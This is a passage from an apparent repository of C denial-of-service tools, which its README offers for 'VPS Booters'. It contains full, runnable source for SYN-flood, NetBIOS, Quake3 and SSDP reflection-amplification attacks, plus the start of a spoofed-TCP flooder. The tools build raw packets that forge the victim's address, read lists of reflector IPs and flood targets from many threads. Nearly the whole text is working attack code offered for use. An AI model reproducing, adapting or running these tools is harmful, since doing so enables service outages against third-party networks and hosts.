176 | 		if(argc < 5){
177 | 				fprintf(stdout, "ISSYN v1.0 - Improved by Spai3N\nInvalid parameters!\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
178 | 				exit(-1);
179 | 		}
180 | 		srand(time(0)); 
181 | 		int num_threads = atoi(argv[2]);
182 | 		int maxpps = atoi(argv[3]);
183 | 		limiter = 0;
184 | 		pps = 0;
185 | 		pthread_t thread[num_threads];  
186 | 		int multiplier = 20;
187 | 		int i;
188 | 		fprintf(stderr, "Start flooding ...\n", argv[1]);
189 | 		for(i = 0;i<num_threads;i++){
190 | 				pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
191 | 		}
192 | 		fprintf(stderr, "Flooding: %s\n", argv[1]);
193 | 		for(i = 0;i<(atoi(argv[4])*multiplier);i++)
194 | 		{
195 | 				usleep((1000/multiplier)*1000);
196 | 				if((pps*multiplier) > maxpps)
197 | 				{
198 | 						if(1 > limiter)
199 | 						{
200 | 								sleeptime+=100;
201 | 						} else {
202 | 								limiter--;
203 | 						}
204 | 				} else {
205 | 						limiter++;
206 | 						if(sleeptime > 25)
207 | 						{
208 | 								sleeptime-=25;
209 | 						} else {
210 | 								sleeptime = 0;
211 | 						}
212 | 				}
213 | 				pps = 0;
214 | 		}
215 |  
216 | 		return 0;
217 | }


--------------------------------------------------------------------------------
/Netbios.c:
--------------------------------------------------------------------------------
  1 | /* NEW AND IMPROVED NETBIOS DDOS SCRIPT. */
  2 | 
  3 | #include <time.h>
  4 | #include <pthread.h>
  5 | #include <unistd.h>
  6 | #include <stdio.h>
  7 | #include <stdlib.h>
  8 | #include <string.h>
  9 | #include <sys/socket.h>
 10 | #include <netinet/ip.h>
 11 | #include <netinet/udp.h>
 12 | #include <arpa/inet.h>
 13 | #define MAX_PACKET_SIZE 8192
 14 | #define PHI 0x9e3779b9
 15 | static uint32_t Q[4096], c = 362436;
 16 | struct list
 17 | {
 18 | 	struct sockaddr_in data;
 19 | 	struct list *next;
 20 | 	struct list *prev;
 21 | };
 22 | struct list *head;
 23 | volatile int tehport;
 24 | volatile int limiter;
 25 | volatile unsigned int pps;
 26 | volatile unsigned int sleeptime = 100;
 27 | struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
 28 | void init_rand(uint32_t x)
 29 | {
 30 | 	int i;
 31 | 	Q[0] = x;
 32 | 	Q[1] = x + PHI;
 33 | 	Q[2] = x + PHI + PHI;
 34 | 	for (i = 3; i < 4096; i++)
 35 | 	{
 36 | 	Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 37 | 	}
 38 | }
 39 | uint32_t rand_cmwc(void)
 40 | {
 41 | 	uint64_t t, a = 18782LL;
 42 | 	static uint32_t i = 4095;
 43 | 	uint32_t x, r = 0xfffffffe;
 44 | 	i = (i + 1) & 4095;
 45 | 	t = a * Q[i] + c;
 46 | 	c = (t >> 32);
 47 | 	x = t + c;
 48 | 	if (x < c) {
 49 | 	x++;
 50 | 	c++;
 51 | 	}
 52 | 	return (Q[i] = r - x);
 53 | }
 54 | unsigned short csum (unsigned short *buf, int nwords)
 55 | {
 56 | 	unsigned long sum = 0;
 57 | 	for (sum = 0; nwords > 0; nwords--)
 58 | 	sum += *buf++;
 59 | 	sum = (sum >> 16) + (sum & 0xffff);
 60 | 	sum += (sum >> 16);
 61 | 	return (unsigned short)(~sum);
 62 | }
 63 | void setup_ip_header(struct iphdr *iph)
 64 | {
 65 | 	iph->ihl = 5;
 66 | 	iph->version = 4;
 67 | 	iph->tos = 0;
 68 | 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 50;
 69 | 	iph->id = htonl(54321);
 70 | 	iph->frag_off = 0;
 71 | 	iph->ttl = MAXTTL;
 72 | 	iph->protocol = IPPROTO_UDP;
 73 | 	iph->check = 0;
 74 | 	iph->saddr = inet_addr("192.168.3.100");
 75 | }
 76 | void setup_udp_header(struct udphdr *udph)
 77 | {
 78 | 	udph->source = htons(5678);
 79 | 	udph->dest = htons(137);
 80 |         udph->check = 0;
 81 |         memcpy((void *)udph + sizeof(struct udphdr), "\xe5\xd8\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x20\x43\x4b\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x21\x00\x01", 50);
 82 |         udph->len=htons(sizeof(struct udphdr) + 50);
 83 | }
 84 | void *flood(void *par1)
 85 | {
 86 | 	struct thread_data *td = (struct thread_data *)par1;
 87 | 	char datagram[MAX_PACKET_SIZE];
 88 | 	struct iphdr *iph = (struct iphdr *)datagram;
 89 | 	struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
 90 | 	struct sockaddr_in sin = td->sin;
 91 | 	struct  list *list_node = td->list_node;
 92 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
 93 | 	if(s < 0){
 94 | 	fprintf(stderr, "Could not open raw socket.\n");
 95 | 	exit(-1);
 96 | 	}
 97 | 	init_rand(time(NULL));
 98 | 	memset(datagram, 0, MAX_PACKET_SIZE);
 99 | 	setup_ip_header(iph);
100 | 	setup_udp_header(udph);
101 | 	udph->source = htons(rand() % 65535 - 1026);
102 | 	iph->saddr = sin.sin_addr.s_addr;
103 | 	iph->daddr = list_node->data.sin_addr.s_addr;
104 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
105 | 	int tmp = 1;
106 | 	const int *val = &tmp;
107 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
108 | 	fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
109 | 	exit(-1);
110 | 	}
111 | 	init_rand(time(NULL));
112 | 	register unsigned int i;
113 | 	i = 0;
114 | 	while(1){
115 | 		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
116 | 		list_node = list_node->next;
117 | 		iph->daddr = list_node->data.sin_addr.s_addr;
118 | 		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
119 | 		iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
120 | 		
121 | 		pps++;
122 | 		if(i >= limiter)
123 | 		{
124 | 			i = 0;
125 | 			usleep(sleeptime);
126 | 		}
127 | 		i++;
128 | 	}
129 | }
130 | int main(int argc, char *argv[ ])
131 | {
132 | 	if(argc < 6){
133 | 	fprintf(stderr, "Invalid parameters!\n");
134 | 	fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
135 | 		exit(-1);
136 | 	}
137 | 	srand(time(NULL));
138 | 	int i = 0;
139 | 	head = NULL;
140 | 	fprintf(stdout, "Setting up sockets...\n");
141 | 	int max_len = 128;
142 | 	char *buffer = (char *) malloc(max_len);
143 | 	buffer = memset(buffer, 0x00, max_len);
144 | 	int num_threads = atoi(argv[4]);
145 | 	int maxpps = atoi(argv[5]);
146 | 	limiter = 0;
147 | 	pps = 0;
148 | 	int multiplier = 20;
149 | 	FILE *list_fd = fopen(argv[3],  "r");
150 | 	while (fgets(buffer, max_len, list_fd) != NULL) {
151 | 		if ((buffer[strlen(buffer) - 1] == '\n') ||
152 | 				(buffer[strlen(buffer) - 1] == '\r')) {
153 | 			buffer[strlen(buffer) - 1] = 0x00;
154 | 			if(head == NULL)
155 | 			{
156 | 				head = (struct list *)malloc(sizeof(struct list));
157 | 				bzero(&head->data, sizeof(head->data));
158 | 				head->data.sin_addr.s_addr=inet_addr(buffer);
159 | 				head->next = head;
160 | 				head->prev = head;
161 | 			} else {
162 | 				struct list *new_node = (struct list *)malloc(sizeof(struct list));
163 | 				memset(new_node, 0x00, sizeof(struct list));
164 | 				new_node->data.sin_addr.s_addr=inet_addr(buffer);
165 | 				new_node->prev = head;
166 | 				new_node->next = head->next;
167 | 				head->next = new_node;
168 | 			}
169 | 			i++;
170 | 		} else {
171 | 			continue;
172 | 		}
173 | 	}
174 | 	struct list *current = head->next;
175 | 	pthread_t thread[num_threads];
176 | 	struct sockaddr_in sin;
177 | 	sin.sin_family = AF_INET;
178 | 	sin.sin_addr.s_addr = inet_addr(argv[1]);
179 | 	struct thread_data td[num_threads];
180 | 	for(i = 0;i<num_threads;i++){
181 | 		td[i].thread_id = i;
182 | 		td[i].sin= sin;
183 | 		td[i].list_node = current;
184 | 		pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
185 | 	}
186 | 	fprintf(stdout, "Starting flood...\n");
187 | 	for(i = 0;i<(atoi(argv[6])*multiplier);i++)
188 | 	{
189 | 		usleep((1000/multiplier)*1000);
190 | 		if((pps*multiplier) > maxpps)
191 | 		{
192 | 			if(1 > limiter)
193 | 			{
194 | 				sleeptime+=100;
195 | 			} else {
196 | 				limiter--;
197 | 			}
198 | 		} else {
199 | 			limiter++;
200 | 			if(sleeptime > 25)
201 | 			{
202 | 				sleeptime-=25;
203 | 			} else {
204 | 				sleeptime = 0;
205 | 			}
206 | 		}
207 | 		pps = 0;
208 | 	}
209 | 	return 0;
210 | }


--------------------------------------------------------------------------------
/Quake.c:
--------------------------------------------------------------------------------
  1 | /* NEW AND IMPROVED QUAKE3 DDOS SCRIPT. */
  2 | 
  3 | #include <time.h>
  4 | #include <pthread.h>
  5 | #include <unistd.h>
  6 | #include <stdio.h>
  7 | #include <stdlib.h>
  8 | #include <string.h>
  9 | #include <sys/socket.h>
 10 | #include <netinet/ip.h>
 11 | #include <netinet/udp.h>
 12 | #include <arpa/inet.h>
 13 | #define MAX_PACKET_SIZE 8192
 14 | #define PHI 0x9e3779b9
 15 | static uint32_t Q[4096], c = 362436;
 16 | struct list
 17 | {
 18 | 	struct sockaddr_in data;
 19 | 	struct list *next;
 20 | 	struct list *prev;
 21 | };
 22 | struct list *head;
 23 | volatile int tehport;
 24 | volatile int limiter;
 25 | volatile unsigned int pps;
 26 | volatile unsigned int sleeptime = 100;
 27 | struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
 28 | void init_rand(uint32_t x)
 29 | {
 30 | 	int i;
 31 | 	Q[0] = x;
 32 | 	Q[1] = x + PHI;
 33 | 	Q[2] = x + PHI + PHI;
 34 | 	for (i = 3; i < 4096; i++)
 35 | 	{
 36 | 	Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 37 | 	}
 38 | }
 39 | uint32_t rand_cmwc(void)
 40 | {
 41 | 	uint64_t t, a = 18782LL;
 42 | 	static uint32_t i = 4095;
 43 | 	uint32_t x, r = 0xfffffffe;
 44 | 	i = (i + 1) & 4095;
 45 | 	t = a * Q[i] + c;
 46 | 	c = (t >> 32);
 47 | 	x = t + c;
 48 | 	if (x < c) {
 49 | 	x++;
 50 | 	c++;
 51 | 	}
 52 | 	return (Q[i] = r - x);
 53 | }
 54 | unsigned short csum (unsigned short *buf, int nwords)
 55 | {
 56 | 	unsigned long sum = 0;
 57 | 	for (sum = 0; nwords > 0; nwords--)
 58 | 	sum += *buf++;
 59 | 	sum = (sum >> 16) + (sum & 0xffff);
 60 | 	sum += (sum >> 16);
 61 | 	return (unsigned short)(~sum);
 62 | }
 63 | void setup_ip_header(struct iphdr *iph)
 64 | {
 65 | 	iph->ihl = 5;
 66 | 	iph->version = 4;
 67 | 	iph->tos = 0;
 68 | 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 14;
 69 | 	iph->id = htonl(54321);
 70 | 	iph->frag_off = 0;
 71 | 	iph->ttl = MAXTTL;
 72 | 	iph->protocol = IPPROTO_UDP;
 73 | 	iph->check = 0;
 74 | 	iph->saddr = inet_addr("192.168.3.100");
 75 | }
 76 | void setup_udp_header(struct udphdr *udph)
 77 | {
 78 | 	udph->source = htons(5678);
 79 | 	udph->dest = htons(27960);
 80 | 	udph->check = 0;
 81 | 	memcpy((void *)udph + sizeof(struct udphdr), "\xff\xff\xff\xff\x67\x65\x74\x73\x74\x61\x74\x75\x73\x0a", 14);
 82 | 	udph->len=htons(sizeof(struct udphdr) + 14);
 83 | }
 84 | void *flood(void *par1)
 85 | {
 86 | 	struct thread_data *td = (struct thread_data *)par1;
 87 | 	char datagram[MAX_PACKET_SIZE];
 88 | 	struct iphdr *iph = (struct iphdr *)datagram;
 89 | 	struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
 90 | 	struct sockaddr_in sin = td->sin;
 91 | 	struct  list *list_node = td->list_node;
 92 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
 93 | 	if(s < 0){
 94 | 	fprintf(stderr, "Could not open raw socket.\n");
 95 | 	exit(-1);
 96 | 	}
 97 | 	init_rand(time(NULL));
 98 | 	memset(datagram, 0, MAX_PACKET_SIZE);
 99 | 	setup_ip_header(iph);
100 | 	setup_udp_header(udph);
101 | 	udph->source = htons(rand() % 65535 - 1026);
102 | 	iph->saddr = sin.sin_addr.s_addr;
103 | 	iph->daddr = list_node->data.sin_addr.s_addr;
104 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
105 | 	int tmp = 1;
106 | 	const int *val = &tmp;
107 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
108 | 	fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
109 | 	exit(-1);
110 | 	}
111 | 	init_rand(time(NULL));
112 | 	register unsigned int i;
113 | 	i = 0;
114 | 	while(1){
115 | 		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
116 | 		list_node = list_node->next;
117 | 		iph->daddr = list_node->data.sin_addr.s_addr;
118 | 		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
119 | 		iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
120 | 		
121 | 		pps++;
122 | 		if(i >= limiter)
123 | 		{
124 | 			i = 0;
125 | 			usleep(sleeptime);
126 | 		}
127 | 		i++;
128 | 	}
129 | }
130 | int main(int argc, char *argv[ ])
131 | {
132 | 	if(argc < 6){
133 | 	fprintf(stderr, "Invalid parameters!\n");
134 | 	fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
135 | 		exit(-1);
136 | 	}
137 | 	srand(time(NULL));
138 | 	int i = 0;
139 | 	head = NULL;
140 | 	fprintf(stdout, "Setting up sockets...\n");
141 | 	int max_len = 128;
142 | 	char *buffer = (char *) malloc(max_len);
143 | 	buffer = memset(buffer, 0x00, max_len);
144 | 	int num_threads = atoi(argv[4]);
145 | 	int maxpps = atoi(argv[5]);
146 | 	limiter = 0;
147 | 	pps = 0;
148 | 	int multiplier = 20;
149 | 	FILE *list_fd = fopen(argv[3],  "r");
150 | 	while (fgets(buffer, max_len, list_fd) != NULL) {
151 | 		if ((buffer[strlen(buffer) - 1] == '\n') ||
152 | 				(buffer[strlen(buffer) - 1] == '\r')) {
153 | 			buffer[strlen(buffer) - 1] = 0x00;
154 | 			if(head == NULL)
155 | 			{
156 | 				head = (struct list *)malloc(sizeof(struct list));
157 | 				bzero(&head->data, sizeof(head->data));
158 | 				head->data.sin_addr.s_addr=inet_addr(buffer);
159 | 				head->next = head;
160 | 				head->prev = head;
161 | 			} else {
162 | 				struct list *new_node = (struct list *)malloc(sizeof(struct list));
163 | 				memset(new_node, 0x00, sizeof(struct list));
164 | 				new_node->data.sin_addr.s_addr=inet_addr(buffer);
165 | 				new_node->prev = head;
166 | 				new_node->next = head->next;
167 | 				head->next = new_node;
168 | 			}
169 | 			i++;
170 | 		} else {
171 | 			continue;
172 | 		}
173 | 	}
174 | 	struct list *current = head->next;
175 | 	pthread_t thread[num_threads];
176 | 	struct sockaddr_in sin;
177 | 	sin.sin_family = AF_INET;
178 | 	sin.sin_addr.s_addr = inet_addr(argv[1]);
179 | 	struct thread_data td[num_threads];
180 | 	for(i = 0;i<num_threads;i++){
181 | 		td[i].thread_id = i;
182 | 		td[i].sin= sin;
183 | 		td[i].list_node = current;
184 | 		pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
185 | 	}
186 | 	fprintf(stdout, "Starting flood...\n");
187 | 	for(i = 0;i<(atoi(argv[6])*multiplier);i++)
188 | 	{
189 | 		usleep((1000/multiplier)*1000);
190 | 		if((pps*multiplier) > maxpps)
191 | 		{
192 | 			if(1 > limiter)
193 | 			{
194 | 				sleeptime+=100;
195 | 			} else {
196 | 				limiter--;
197 | 			}
198 | 		} else {
199 | 			limiter++;
200 | 			if(sleeptime > 25)
201 | 			{
202 | 				sleeptime-=25;
203 | 			} else {
204 | 				sleeptime = 0;
205 | 			}
206 | 		}
207 | 		pps = 0;
208 | 	}
209 | 	return 0;
210 | }


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # DDoS-Scripts
2 | DDoS Scripts for VPS Booters, Dedicated servers ect..
3 | 
4 | Compile with GCC (apt-get install gcc / yum install gcc)
5 | 
6 | 


--------------------------------------------------------------------------------
/SSDP.c:
--------------------------------------------------------------------------------
  1 | /*
  2 |  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3 |  */
  4 | #include <time.h>
  5 | #include <pthread.h>
  6 | #include <unistd.h>
  7 | #include <stdio.h>
  8 | #include <stdlib.h>
  9 | #include <string.h>
 10 | #include <sys/socket.h>
 11 | #include <netinet/ip.h>
 12 | #include <netinet/udp.h>
 13 | #include <arpa/inet.h>
 14 | #define MAX_PACKET_SIZE 8192
 15 | #define PHI 0x9e3779b9
 16 | static uint32_t Q[4096], c = 362436;
 17 | struct list
 18 | {
 19 | 	struct sockaddr_in data;
 20 | 	struct list *next;
 21 | 	struct list *prev;
 22 | };
 23 | struct list *head;
 24 | volatile int tehport;
 25 | volatile int limiter;
 26 | volatile unsigned int pps;
 27 | volatile unsigned int sleeptime = 100;
 28 | struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
 29 | void init_rand(uint32_t x)
 30 | {
 31 | 	int i;
 32 | 	Q[0] = x;
 33 | 	Q[1] = x + PHI;
 34 | 	Q[2] = x + PHI + PHI;
 35 | 	for (i = 3; i < 4096; i++)
 36 | 	{
 37 | 	Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 38 | 	}
 39 | }
 40 | uint32_t rand_cmwc(void)
 41 | {
 42 | 	uint64_t t, a = 18782LL;
 43 | 	static uint32_t i = 4095;
 44 | 	uint32_t x, r = 0xfffffffe;
 45 | 	i = (i + 1) & 4095;
 46 | 	t = a * Q[i] + c;
 47 | 	c = (t >> 32);
 48 | 	x = t + c;
 49 | 	if (x < c) {
 50 | 	x++;
 51 | 	c++;
 52 | 	}
 53 | 	return (Q[i] = r - x);
 54 | }
 55 | unsigned short csum (unsigned short *buf, int nwords)
 56 | {
 57 | 	unsigned long sum = 0;
 58 | 	for (sum = 0; nwords > 0; nwords--)
 59 | 	sum += *buf++;
 60 | 	sum = (sum >> 16) + (sum & 0xffff);
 61 | 	sum += (sum >> 16);
 62 | 	return (unsigned short)(~sum);
 63 | }
 64 | void setup_ip_header(struct iphdr *iph)
 65 | {
 66 | 	iph->ihl = 5;
 67 | 	iph->version = 4;
 68 | 	iph->tos = 0;
 69 | 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 90;
 70 | 	iph->id = htonl(54321);
 71 | 	iph->frag_off = 0;
 72 | 	iph->ttl = MAXTTL;
 73 | 	iph->protocol = IPPROTO_UDP;
 74 | 	iph->check = 0;
 75 | 	iph->saddr = inet_addr("192.168.3.100");
 76 | }
 77 | void setup_udp_header(struct udphdr *udph)
 78 | {
 79 | 	udph->source = htons(5678);
 80 | 	udph->dest = htons(1900);
 81 | 	udph->check = 0;
 82 |         strcpy((void *)udph + sizeof(struct udphdr), "M-SEARCH * HTTP/1.1\r\nHost:239.255.255.250:1900\r\nST:ssdp:all\r\nMan:\"ssdp:discover\"\r\nMX:3\r\n\r\n");
 83 | 	udph->len=htons(sizeof(struct udphdr) + 90);
 84 | }
 85 | void *flood(void *par1)
 86 | {
 87 | 	struct thread_data *td = (struct thread_data *)par1;
 88 | 	char datagram[MAX_PACKET_SIZE];
 89 | 	struct iphdr *iph = (struct iphdr *)datagram;
 90 | 	struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
 91 | 	struct sockaddr_in sin = td->sin;
 92 | 	struct  list *list_node = td->list_node;
 93 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
 94 | 	if(s < 0){
 95 | 	fprintf(stderr, "Could not open raw socket.\n");
 96 | 	exit(-1);
 97 | 	}
 98 | 	init_rand(time(NULL));
 99 | 	memset(datagram, 0, MAX_PACKET_SIZE);
100 | 	setup_ip_header(iph);
101 | 	setup_udp_header(udph);
102 | 	udph->source = htons(rand() % 65535 - 1026);
103 | 	iph->saddr = sin.sin_addr.s_addr;
104 | 	iph->daddr = list_node->data.sin_addr.s_addr;
105 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
106 | 	int tmp = 1;
107 | 	const int *val = &tmp;
108 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
109 | 	fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
110 | 	exit(-1);
111 | 	}
112 | 	init_rand(time(NULL));
113 | 	register unsigned int i;
114 | 	i = 0;
115 | 	while(1){
116 | 		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
117 | 		list_node = list_node->next;
118 | 		iph->daddr = list_node->data.sin_addr.s_addr;
119 | 		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
120 | 		iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
121 | 		
122 | 		pps++;
123 | 		if(i >= limiter)
124 | 		{
125 | 			i = 0;
126 | 			usleep(sleeptime);
127 | 		}
128 | 		i++;
129 | 	}
130 | }
131 | int main(int argc, char *argv[ ])
132 | {
133 | 	if(argc < 6){
134 | 	fprintf(stderr, "Invalid parameters!\n");
135 | 	fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
136 | 		exit(-1);
137 | 	}
138 | 	srand(time(NULL));
139 | 	int i = 0;
140 | 	head = NULL;
141 | 	fprintf(stdout, "Setting up sockets...\n");
142 | 	int max_len = 128;
143 | 	char *buffer = (char *) malloc(max_len);
144 | 	buffer = memset(buffer, 0x00, max_len);
145 | 	int num_threads = atoi(argv[4]);
146 | 	int maxpps = atoi(argv[5]);
147 | 	limiter = 0;
148 | 	pps = 0;
149 | 	int multiplier = 20;
150 | 	FILE *list_fd = fopen(argv[3],  "r");
151 | 	while (fgets(buffer, max_len, list_fd) != NULL) {
152 | 		if ((buffer[strlen(buffer) - 1] == '\n') ||
153 | 				(buffer[strlen(buffer) - 1] == '\r')) {
154 | 			buffer[strlen(buffer) - 1] = 0x00;
155 | 			if(head == NULL)
156 | 			{
157 | 				head = (struct list *)malloc(sizeof(struct list));
158 | 				bzero(&head->data, sizeof(head->data));
159 | 				head->data.sin_addr.s_addr=inet_addr(buffer);
160 | 				head->next = head;
161 | 				head->prev = head;
162 | 			} else {
163 | 				struct list *new_node = (struct list *)malloc(sizeof(struct list));
164 | 				memset(new_node, 0x00, sizeof(struct list));
165 | 				new_node->data.sin_addr.s_addr=inet_addr(buffer);
166 | 				new_node->prev = head;
167 | 				new_node->next = head->next;
168 | 				head->next = new_node;
169 | 			}
170 | 			i++;
171 | 		} else {
172 | 			continue;
173 | 		}
174 | 	}
175 | 	struct list *current = head->next;
176 | 	pthread_t thread[num_threads];
177 | 	struct sockaddr_in sin;
178 | 	sin.sin_family = AF_INET;
179 | 	sin.sin_addr.s_addr = inet_addr(argv[1]);
180 | 	struct thread_data td[num_threads];
181 | 	for(i = 0;i<num_threads;i++){
182 | 		td[i].thread_id = i;
183 | 		td[i].sin= sin;
184 | 		td[i].list_node = current;
185 | 		pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
186 | 	}
187 | 	fprintf(stdout, "Starting flood...\n");
188 | 	for(i = 0;i<(atoi(argv[6])*multiplier);i++)
189 | 	{
190 | 		usleep((1000/multiplier)*1000);
191 | 		if((pps*multiplier) > maxpps)
192 | 		{
193 | 			if(1 > limiter)
194 | 			{
195 | 				sleeptime+=100;
196 | 			} else {
197 | 				limiter--;
198 | 			}
199 | 		} else {
200 | 			limiter++;
201 | 			if(sleeptime > 25)
202 | 			{
203 | 				sleeptime-=25;
204 | 			} else {
205 | 				sleeptime = 0;
206 | 			}
207 | 		}
208 | 		pps = 0;
209 | 	}
210 | 	return 0;
211 | }


--------------------------------------------------------------------------------
/STCP.c:
--------------------------------------------------------------------------------
  1 | /*
  2 |  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3 |  */
  4 | 
  5 | #include <unistd.h>
  6 | #include <time.h>
  7 | #include <sys/types.h>
  8 | #include <sys/socket.h>
  9 | #include <sys/ioctl.h>
 10 | #include <string.h>
 11 | #include <stdlib.h>
 12 | #include <stdio.h>
 13 | #include <pthread.h>
 14 | #include <netinet/tcp.h>
 15 | #include <netinet/ip.h>
 16 | #include <netinet/in.h>
 17 | #include <netinet/if_ether.h>
 18 | #include <netdb.h>
 19 | #include <net/if.h>
 20 | #include <arpa/inet.h>
 21 | #define MAX_PACKET_SIZE 4096
 22 | #define PHI 0x9e3779b9
 23 | static unsigned long int Q[4096], c = 362436;
 24 | static unsigned int floodport;
 25 | volatile int limiter;
 26 | volatile unsigned int pps;
 27 | volatile unsigned int sleeptime = 100;
 28 | int ack,syn,psh,fin,rst,urg,ptr,res2,seq;
 29 | void init_rand(unsigned long int x)
 30 | {
 31 | 	int i;
 32 | 	Q[0] = x;
 33 | 	Q[1] = x + PHI;
 34 | 	Q[2] = x + PHI + PHI;
 35 | 	for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 36 | }
 37 | unsigned long int rand_cmwc(void)
 38 | {
 39 | 	unsigned long long int t, a = 18782LL;
 40 | 	static unsigned long int i = 4095;
 41 | 	unsigned long int x, r = 0xfffffffe;
 42 | 	i = (i + 1) & 4095;
 43 | 	t = a * Q[i] + c;
 44 | 	c = (t >> 32);
 45 | 	x = t + c;
 46 | 	if (x < c) {
 47 | 	x++;
 48 | 	c++;
 49 | 	}
 50 | 	return (Q[i] = r - x);
 51 | }
 52 | unsigned short csum (unsigned short *buf, int count)
 53 | {
 54 | 	register unsigned long sum = 0;
 55 | 	while( count > 1 ) { sum += *buf++; count -= 2; }
 56 | 	if(count > 0) { sum += *(unsigned char *)buf; }
 57 | 	while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 58 | 	return (unsigned short)(~sum);
 59 | }
 60 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
 61 | 
 62 | 	struct tcp_pseudo
 63 | 	{
 64 | 	unsigned long src_addr;
 65 | 	unsigned long dst_addr;
 66 | 	unsigned char zero;
 67 | 	unsigned char proto;
 68 | 	unsigned short length;
 69 | 	} pseudohead;
 70 | 	unsigned short total_len = iph->tot_len;
 71 | 	pseudohead.src_addr=iph->saddr;
 72 | 	pseudohead.dst_addr=iph->daddr;
 73 | 	pseudohead.zero=0;
 74 | 	pseudohead.proto=IPPROTO_TCP;
 75 | 	pseudohead.length=htons(sizeof(struct tcphdr));
 76 | 	int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
 77 | 	unsigned short *tcp = malloc(totaltcp_len);
 78 | 	memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 79 | 	memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 80 | 	unsigned short output = csum(tcp,totaltcp_len);
 81 | 	free(tcp);
 82 | 	return output;
 83 | }
 84 | void setup_ip_header(struct iphdr *iph)
 85 | {
 86 | 	iph->ihl = 5;
 87 | 	iph->version = 4;
 88 | 	iph->tos = 0;
 89 | 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 90 | 	iph->id = htonl(rand()%54321);
 91 | 	iph->frag_off = 0;
 92 | 	iph->ttl = MAXTTL;
 93 | 	iph->protocol = 6;
 94 | 	iph->check = 0;
 95 | 	iph->saddr = inet_addr("8.8.8.8");
 96 | }
 97 | void setup_tcp_header(struct tcphdr *tcph)
 98 | {
 99 | tcph->source = htons(rand()%65535);
100 | 	tcph->seq = rand();
101 | 	tcph->ack  = ack;
102 | 	tcph->ack_seq = seq;
103 | 	tcph->psh  = psh;	
104 | 	tcph->fin  = fin;
105 | 	tcph->rst  = rst;
106 | 	tcph->res2 = res2;
107 | 	tcph->doff = 5;
108 | 	tcph->syn = syn; 
109 | 	tcph->urg  = urg;
110 | 	tcph->urg_ptr = ptr;
111 | 	tcph->window = rand();
112 | 	tcph->check = 0;
113 | }
114 | void *flood(void *par1)
115 | {
116 | 	char *td = (char *)par1;
117 | 	char datagram[MAX_PACKET_SIZE];
118 | 	struct iphdr *iph = (struct iphdr *)datagram;
119 | 	struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
120 | 	struct sockaddr_in sin;
121 | 	sin.sin_family = AF_INET;
122 | 	sin.sin_port = htons(floodport);
123 | 	sin.sin_addr.s_addr = inet_addr(td);
124 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
125 | 	if(s < 0){
126 | 	fprintf(stderr, "Could not open raw socket.\n");
127 | 	exit(-1);
128 | 	}
